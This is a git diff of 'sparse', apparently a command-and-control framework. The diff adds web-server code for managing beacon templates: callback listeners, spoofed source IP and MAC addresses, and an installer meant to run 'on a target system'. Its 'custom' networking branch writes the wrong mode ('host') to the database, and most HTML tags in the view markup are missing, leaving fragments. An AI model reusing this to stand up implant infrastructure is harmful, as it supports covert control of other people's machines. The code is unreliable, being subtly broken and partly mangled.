diff --git a/sparse-server/src/app.rs b/sparse-server/src/app.rs index c15d2e3..19bbe94 100644 --- a/sparse-server/src/app.rs +++ b/sparse-server/src/app.rs @@ -5,7 +5,6 @@ use leptos_router::{ hooks::use_query_map, path }; -use serde::{Serialize, Deserialize}; use crate::users::User; @@ -200,6 +199,16 @@ fn HomePage() -> impl IntoView { view! {

"Welcome to sparse!"

+

"To get started:"

+
    +
  1. "Sign in"
  2. +
  3. "Go to beacon management"
  4. +
  5. "Create a listener"
  6. +
  7. "(Optional) Create a category"
  8. +
  9. "Create a template"
  10. +
  11. "Download the installer"
  12. +
  13. "Run the installer on a target system"
  14. +
} } diff --git a/sparse-server/src/beacons.rs b/sparse-server/src/beacons.rs index 8005f74..d364187 100644 --- a/sparse-server/src/beacons.rs +++ b/sparse-server/src/beacons.rs @@ -8,11 +8,17 @@ mod instances; mod listeners; mod templates; +#[allow(dead_code)] pub use categories::CategoriesView; +#[allow(dead_code)] pub use commands::CommandsView; +#[allow(dead_code)] pub use configs::ConfigsView; +#[allow(dead_code)] pub use instances::InstancesView; +#[allow(dead_code)] pub use listeners::ListenersView; +#[allow(dead_code)] pub use templates::TemplatesView; #[derive(Clone)] @@ -24,10 +30,13 @@ pub struct BeaconResources { rename_category: ServerAction, add_beacon_config: ServerAction, remove_beacon_config: ServerAction, + add_template: ServerAction, + remove_template: ServerAction, listeners: Resource, ServerFnError>>, categories: Resource, ServerFnError>>, - configs: Resource, ServerFnError>> + configs: Resource, ServerFnError>>, + templates: Resource, ServerFnError>> } pub fn provide_beacon_resources() { @@ -43,6 +52,9 @@ pub fn provide_beacon_resources() { let add_beacon_config = ServerAction::::new(); let remove_beacon_config = ServerAction::::new(); + let add_template = ServerAction::::new(); + let remove_template = ServerAction::::new(); + let listeners = Resource::new( move || ( user.get(), @@ -71,6 +83,15 @@ pub fn provide_beacon_resources() { |_| async { configs::get_beacon_configs().await } ); + let templates = Resource::new( + move || ( + user.get(), + add_template.version().get(), + remove_template.version().get() + ), + |_| async { templates::get_templates().await } + ); + provide_context(BeaconResources { add_listener, remove_listener, @@ -79,10 +100,13 @@ pub fn provide_beacon_resources() { rename_category, add_beacon_config, remove_beacon_config, + add_template, + remove_template, listeners, categories, - configs + configs, + templates }); } diff --git a/sparse-server/src/beacons/categories.rs b/sparse-server/src/beacons/categories.rs index 701087d..d6bc60e 100644 --- a/sparse-server/src/beacons/categories.rs +++ b/sparse-server/src/beacons/categories.rs @@ -11,8 +11,8 @@ use super::BeaconResources; #[derive(Clone, Serialize, Deserialize)] pub struct Category { - category_id: i64, - category_name: String + pub category_id: i64, + pub category_name: String } #[server] diff --git a/sparse-server/src/beacons/configs.rs b/sparse-server/src/beacons/configs.rs index 15f0cfd..d8e64ec 100644 --- a/sparse-server/src/beacons/configs.rs +++ b/sparse-server/src/beacons/configs.rs @@ -44,10 +44,10 @@ impl FromRow<'_, SqliteRow> for BeaconConfigTypes { #[cfg_attr(feature = "ssr", derive(FromRow))] #[derive(Clone, Serialize, Deserialize)] pub struct BeaconConfig { - config_id: i64, - config_name: String, + pub config_id: i64, + pub config_name: String, #[cfg_attr(feature = "ssr", sqlx(flatten))] - config_type: BeaconConfigTypes, + pub config_type: BeaconConfigTypes, } #[server] @@ -135,7 +135,7 @@ pub async fn add_beacon_config( match &*cron_mode { "local" | "utc" => {}, - other => { + _ => { return Err(ServerFnError::::ServerError("Unrecognized timezone specifier for cron".to_string())) } } @@ -159,7 +159,22 @@ pub async fn add_beacon_config( #[server] pub async fn remove_beacon_config(id: i64) -> Result<(), ServerFnError> { - unimplemented!() + let user = user::get_auth_session().await?; + + if user.is_none() { + return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + } + + let db = expect_context::(); + + sqlx::query!( + "DELETE FROM beacon_config WHERE config_id = ?", + id + ) + .execute(&db) + .await?; + + Ok(()) } #[component] diff --git a/sparse-server/src/beacons/listeners.rs b/sparse-server/src/beacons/listeners.rs index 0fdbf55..966bad4 100644 --- a/sparse-server/src/beacons/listeners.rs +++ b/sparse-server/src/beacons/listeners.rs @@ -7,8 +7,8 @@ use serde::{Serialize, Deserialize}; use { sqlx::SqlitePool, leptos::server_fn::error::NoCustomError, - crate::{db::user, beacon_handler::BeaconListenerMap}, rcgen::{generate_simple_self_signed, CertifiedKey}, + crate::{db::user, beacon_handler::BeaconListenerMap}, }; use super::BeaconResources; @@ -23,11 +23,11 @@ struct DbListener { #[derive(Clone, Serialize, Deserialize)] pub struct PubListener { - listener_id: i64, - port: i64, - public_ip: String, - domain_name: String, - active: bool + pub listener_id: i64, + pub port: i64, + pub public_ip: String, + pub domain_name: String, + pub active: bool } #[server] diff --git a/sparse-server/src/beacons/templates.rs b/sparse-server/src/beacons/templates.rs index 4c8118e..23597da 100644 --- a/sparse-server/src/beacons/templates.rs +++ b/sparse-server/src/beacons/templates.rs @@ -1,10 +1,452 @@ -use leptos::prelude::*; +use leptos::{either::Either, prelude::*}; +use serde::{Serialize, Deserialize}; +#[cfg(feature = "ssr")] +use { + std::net::Ipv4Addr, + + sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + leptos::server_fn::error::NoCustomError, + + crate::db::user +}; + +use crate::beacons::BeaconResources; + +#[derive(Clone, Serialize, Deserialize)] +pub enum BeaconSourceMode { + Host, + Custom(i64, String) +} + +#[cfg(feature = "ssr")] +impl FromRow<'_, SqliteRow> for BeaconSourceMode { + fn from_row(row: &SqliteRow) -> sqlx::Result { + match row.try_get("source_mode")? { + "host" => Ok(Self::Host), + "custom" => Ok(Self::Custom( + row.try_get("source_netmask")?, + row.try_get("source_gateway")? + )), + type_name => Err(sqlx::Error::TypeNotFound { + type_name: type_name.to_string(), + }), + } + } +} + +#[cfg_attr(feature = "ssr", derive(FromRow))] +#[derive(Clone, Serialize, Deserialize)] +pub struct BeaconTemplate { + template_id: i64, + template_name: String, + operating_system: String, + + source_ip: String, + source_mac: Option, + #[cfg_attr(feature = "ssr", sqlx(flatten))] + source_mode: BeaconSourceMode, + + config_id: i64, + listener_id: i64, + default_category: Option +} + +cfg_if::cfg_if! { + if #[cfg(feature = "ssr")] { + macro_rules! srverr { + ($err:expr) => { + return Err(ServerFnError::::ServerError($err.to_owned())); + } + } + } +} + +#[server] +pub async fn add_template( + template_name: String, + operating_system: String, + listener_id: i64, + config_id: i64, + default_category: i64, + source_ip: String, + source_mac: String, + source_mode: String, + source_netmask: i64, + source_gateway: String +) -> Result<(), ServerFnError> { + let user = user::get_auth_session().await?; + + if user.is_none() { + srverr!("You are not signed in!"); + } + + if listener_id == 0 { + srverr!("You must specify a listener"); + } + + if config_id == 0 { + srverr!("You must specify a configuration"); + } + + if source_ip.parse::().is_err() { + srverr!("Source IP address is formatted incorrectly"); + } + + if &*source_mode == "custom" && source_gateway.parse::().is_err() { + srverr!("Gateway address is formatted incorrectly"); + } + + let mac_parts = source_mac.split(":").collect::>(); + if mac_parts.len() != 6 || mac_parts.iter().any(|p| p.len() != 2 || u8::from_str_radix(p, 16).is_err()) { + srverr!("Source MAC address is formatted incorrectly"); + } + + let db = expect_context::(); + + match &*source_mode { + "host" => { + let source_mac = Some(source_mac).filter(|mac| mac != "00:00:00:00:00:00"); + let default_category = Some(default_category).filter(|dc| *dc != 0); + + sqlx::query!( + r"INSERT INTO beacon_template + (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category) + VALUES + (?, ?, ?, ?, ?, ?, 'host', ?)", + template_name, + operating_system, + config_id, + listener_id, + source_ip, + source_mac, + default_category + ) + .execute(&db) + .await?; + + Ok(()) + }, + "custom" => { + let source_mac = Some(source_mac).filter(|mac| mac != "00:00:00:00:00:00"); + let default_category = Some(default_category).filter(|dc| *dc != 0); + + sqlx::query!( + r"INSERT INTO beacon_template + (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category) + VALUES + (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)", + template_name, + operating_system, + config_id, + listener_id, + source_ip, + source_mac, + source_netmask, + source_gateway, + default_category + ) + .execute(&db) + .await?; + + Ok(()) + }, + _other => { + srverr!("Invalid type of source mode provided"); + } + } +} + +#[server] +pub async fn remove_template(template_id: i64) -> Result<(), ServerFnError> { + let user = user::get_auth_session().await?; + + if user.is_none() { + srverr!("You are not signed in!"); + } + + let db = expect_context::(); + + sqlx::query!("DELETE FROM beacon_template WHERE template_id = ?", template_id) + .execute(&db) + .await?; + + Ok(()) +} + +#[server] +pub async fn get_templates() -> Result, ServerFnError> { + let user = user::get_auth_session().await?; + + if user.is_none() { + return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + } + + let db = expect_context::(); + + Ok(sqlx::query_as("SELECT * FROM beacon_template") + .fetch_all(&db) + .await?) +} #[component] pub fn TemplatesView() -> impl IntoView { - view! { -
+ let BeaconResources { configs, listeners, categories, templates, .. } = expect_context(); + view! { +
+

"Beacon templates"

+

+ "Beacon templates indicate the information needed to spin up a new beacon. " + "Specifically, this is how to create a beacon for an operating system or network configuration." +

+ +

+ "To create a new template, you will need:" +

+
    +
  • "Operating system: the OS the beacon will run on"
  • +
  • "Listener: where the beacon will call back to, and what cert will be used"
  • +
  • "Configuration: what configuration the beacon will use to call back with"
  • +
  • "Default category: when a new beacon calls back, place it in this category (can be left empty for no category)"
  • +
  • "Source IP address: Sparse can't use any IP addresses already in use on the network, so choose one here"
  • +
  • "Source MAC: Sparse can optionally use the host MAC address, or use one specified. Leave at 00:00:00:00:00:00 to use the host MAC address. Using a different MAC address will place the NIC in promiscuous mode, and hasn't been tested on Windows"
  • +
  • "Source networking mode: choose host to gather the gateway and netmask from the host, or specify your own (maybe custom NAT is going on)"
  • +
+ + "Loading..."

}> + { move || Suspend::new(async move { + let configs = match configs.await { + Ok(cs) => cs, + Err(e) => return Either::Left(view! { +

{"There was an error loading configs:".to_string()}

+

{format!("error: {}", e)}

+ }) + }; + + let listeners = match listeners.await { + Ok(cs) => cs, + Err(e) => return Either::Left(view! { +

{"There was an error loading listeners:".to_string()}

+

{format!("error: {}", e)}

+ }) + }; + + let categories = match categories.await { + Ok(cs) => cs, + Err(e) => return Either::Left(view! { +

{"There was an error loading categories:".to_string()}

+

{format!("error: {}", e)}

+ }) + }; + + let templates = match templates.await { + Ok(ts) => ts, + Err(e) => return Either::Left(view! { +

{"There was an error loading templates:".to_string()}

+

{format!("error: {}", e)}

+ }) + }; + + Either::Right(view! { + + + + }) + })} +
} } + +#[component] +pub fn AddTemplateForm( + configs: Vec, + listeners: Vec, + categories: Vec, +) -> impl IntoView { + let BeaconResources { add_template, .. } = expect_context(); + + view! { + {configs.is_empty() + .then(|| view! { + "Missing configurations! Cannot create a template without a configuration" + })} + {listeners.is_empty() + .then(|| view! { + "Missing listeners! Cannot create a template without a listener" + })} + + +
+ {move || match add_template.value().get() { + Some(Ok(_)) => Either::Right(()), + None => Either::Right(()), + Some(Err(e)) => Either::Left(view! { +

"Error creating template:"

+

{format!("{e:?}")}

+ }) + }} + "Create new template" + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ } +} + +#[component] +pub fn DisplayTemplates( + configs: Vec, + listeners: Vec, + categories: Vec, + templates: Vec +) -> impl IntoView { + let BeaconResources { remove_template, .. } = expect_context(); + + let templates_view = templates + .iter() + .map(|template| view! { +
  • +

    + {template.template_id} + ": " + {template.template_name.clone()} + " (" + {template.operating_system.clone()} + ")" +

    +
    + + +
    +
    +
      +
    • "Source IP: "{template.source_ip.clone()}
    • +
    • "Source MAC: "{template.source_mac.clone().unwrap_or("00:00:00:00:00:00".to_owned())}
    • +
    • + "Source mode: " + {match template.source_mode.clone() { + BeaconSourceMode::Host => "Host".to_owned(), + BeaconSourceMode::Custom(nm, gw) => format!("Custom; netmask: {nm}, gateway: {gw}") + }} +
    • +
    • + "Configuration: " + {configs + .iter() + .find(|config| config.config_id == template.config_id) + .map(|config| config.config_name.clone())} +
    • +
    • + "Listener: " + {listeners + .iter() + .find(|listener| listener.listener_id == template.listener_id) + .map(|listener| listener.domain_name.clone())} +
    • + {template + .default_category + .map(|cat_id| + categories + .iter() + .find(|cat| cat.category_id == cat_id) + ) + .flatten() + .map(|cat| view! { +
    • + "Default category: " + {cat.category_name.clone()} +
    • + })} +
    +
    +
  • + }) + .collect_view(); + + view! { +

    "Current beacon templates"

    + {move || match remove_template.value().get() { + Some(Ok(_)) => Either::Right(()), + None => Either::Right(()), + Some(Err(e)) => Either::Left(view! { +

    "Error deleting template:"

    +

    {format!("{e:?}")}

    + }) + }} +
      + {templates_view} +
    + } +} diff --git a/sparse-server/style/beacons/_templates.scss b/sparse-server/style/beacons/_templates.scss index e69de29..6a92d05 100644 --- a/sparse-server/style/beacons/_templates.scss +++ b/sparse-server/style/beacons/_templates.scss @@ -0,0 +1,26 @@ +main.beacons div.templates { + padding: 10px; + + fieldset { + display: grid; + grid-template-columns: 400px 200px; + grid-row-gap: 10px; + + input, label { + margin: 10px; + } + } + + .mode-host, .mode-custom { + display: none; + } + + select[name="source_mode"]:has(> option[value="custom"]:checked) ~ .mode-custom { + display: block; + } + + h4 { + margin-bottom: 5px; + border-bottom: 1px solid #2e2e59; + } +} diff --git a/unix-loader/src/abi.h b/unix-loader/src/abi.h index 1924c24..5a743d3 100644 --- a/unix-loader/src/abi.h +++ b/unix-loader/src/abi.h @@ -27,10 +27,10 @@ typedef struct Parameters { SourceIp_t source_ip; unsigned short destination_port; unsigned short pubkey_cert_size; - unsigned short beacon_name_length; + unsigned short template_name_length; unsigned short domain_name_length; char pubkey_cert[1024]; char beacon_identifier[64]; - char beacon_name[128]; + char template_name[128]; char domain_name[128]; } Parameters_t;